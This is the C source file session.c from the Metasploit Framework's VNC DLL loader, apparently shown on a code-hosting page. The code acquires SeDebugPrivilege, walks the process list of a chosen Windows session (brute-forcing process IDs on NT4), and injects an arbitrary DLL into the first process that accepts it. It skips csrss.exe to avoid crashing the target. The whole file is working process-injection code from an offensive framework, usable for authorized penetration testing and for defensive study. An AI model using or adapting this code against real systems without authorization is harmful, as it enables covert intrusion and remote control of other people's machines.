metasploit-framework/external/source/vncdll/loader/session.c

199 lines
5.2 KiB
C

#include "loader.h"
#include "session.h"
/*
* Returns the session id associated with a process.
* Returns -1 if we cant determine the session id (e.g. insufficient privileges).
* Returns 0 by default on NT4.
*/
DWORD session_id( DWORD dwProcessId )
{
typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id );
static PROCESSIDTOSESSIONID pProcessIdToSessionId = NULL;
HMODULE hKernel = NULL;
DWORD dwSessionId = 0;
do
{
if( !pProcessIdToSessionId )
{
hKernel = LoadLibrary( "kernel32.dll" );
if( hKernel )
pProcessIdToSessionId = (PROCESSIDTOSESSIONID)GetProcAddress( hKernel, "ProcessIdToSessionId" );
}
if( !pProcessIdToSessionId )
break;
if( !pProcessIdToSessionId( dwProcessId, &dwSessionId ) )
dwSessionId = -1;
} while( 0 );
if( hKernel )
FreeLibrary( hKernel );
return dwSessionId;
}
/*
* Returns the session id attached to the physical console.
* Returns 0 by default on NT4 and 2000.
*/
DWORD session_activeid()
{
typedef DWORD (WINAPI * WTSGETACTIVECONSOLESESSIONID )( VOID );
static WTSGETACTIVECONSOLESESSIONID pWTSGetActiveConsoleSessionId = NULL;
HMODULE hKernel = NULL;
DWORD dwSessionId = 0;
do
{
if( !pWTSGetActiveConsoleSessionId )
{
hKernel = LoadLibrary( "kernel32.dll" );
if( hKernel )
pWTSGetActiveConsoleSessionId = (WTSGETACTIVECONSOLESESSIONID)GetProcAddress( hKernel, "WTSGetActiveConsoleSessionId" );
}
if( !pWTSGetActiveConsoleSessionId )
break;
dwSessionId = pWTSGetActiveConsoleSessionId();
} while( 0 );
if( hKernel )
FreeLibrary( hKernel );
return dwSessionId;
}
/*
* On NT4 its we bruteforce the process list as kernel32!CreateToolhelp32Snapshot is not available.
*/
DWORD _session_inject_bruteforce( DWORD dwSessionId, DLL_BUFFER * pDllBuffer )
{
DWORD dwResult = ERROR_INVALID_HANDLE;
DWORD pid = 0;
do
{
for( pid=0 ; pid<0xFFFF ; pid++ )
{
HANDLE hProcess = NULL;
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, pid );
if( !hProcess )
continue;
CloseHandle( hProcess );
if( dwSessionId == session_id( pid ) )
{
dwResult = ps_inject( pid, pDllBuffer );
if( dwResult == ERROR_SUCCESS )
{
dprintf( "[SESSION] _session_inject_bruteforce. Injected into process %d", pid );
break;
}
}
}
} while( 0 );
return dwResult;
}
/*
* Inject an arbitrary DLL into a process running in specific Windows session.
*/
DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer )
{
DWORD dwResult = ERROR_INVALID_HANDLE;
CREATETOOLHELP32SNAPSHOT pCreateToolhelp32Snapshot = NULL;
PROCESS32FIRST pProcess32First = NULL;
PROCESS32NEXT pProcess32Next = NULL;
HANDLE hProcessSnap = NULL;
HMODULE hKernel = NULL;
HANDLE hToken = NULL;
BOOL bUseBruteForce = TRUE;
PROCESSENTRY32 pe32 = {0};
do
{
// If we can, get SeDebugPrivilege...
if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
{
TOKEN_PRIVILEGES priv = {0};
priv.PrivilegeCount = 1;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
{
if( AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ) );
dprintf("[SESSION] session_inject. Got SeDebugPrivilege!" );
}
CloseHandle( hToken );
}
hKernel = LoadLibrary( "kernel32" );
if( !hKernel )
break;
pCreateToolhelp32Snapshot = (CREATETOOLHELP32SNAPSHOT)GetProcAddress( hKernel, "CreateToolhelp32Snapshot" );
pProcess32First = (PROCESS32FIRST)GetProcAddress( hKernel, "Process32First" );
pProcess32Next = (PROCESS32NEXT)GetProcAddress( hKernel, "Process32Next" );
if( !pCreateToolhelp32Snapshot || !pProcess32First || !pProcess32Next )
break;
hProcessSnap = pCreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
if( hProcessSnap == INVALID_HANDLE_VALUE )
break;
pe32.dwSize = sizeof( PROCESSENTRY32 );
if( !pProcess32First( hProcessSnap, &pe32 ) )
break;
bUseBruteForce = FALSE;
do
{
if( dwSessionId == session_id( pe32.th32ProcessID ) )
{
// On Windows 2008R2 we Blue Screen the box if we inject via APC injection
// into the target sessions instance of csrss.exe!!! so we filter it out...
if( strstr( pe32.szExeFile, "csrss.exe" ) )
continue;
dwResult = ps_inject( pe32.th32ProcessID, pDllBuffer );
if( dwResult == ERROR_SUCCESS )
{
dprintf( "[SESSION] session_inject. Injected into process %d (%s)", pe32.th32ProcessID, pe32.szExeFile );
break;
}
}
} while( pProcess32Next( hProcessSnap, &pe32 ) );
} while( 0 );
if( hProcessSnap )
CloseHandle( hProcessSnap );
if( hKernel )
FreeLibrary( hKernel );
// On NT4 we must brute force the process list...
if( bUseBruteForce )
dwResult = _session_inject_bruteforce( dwSessionId, pDllBuffer );
return dwResult;
}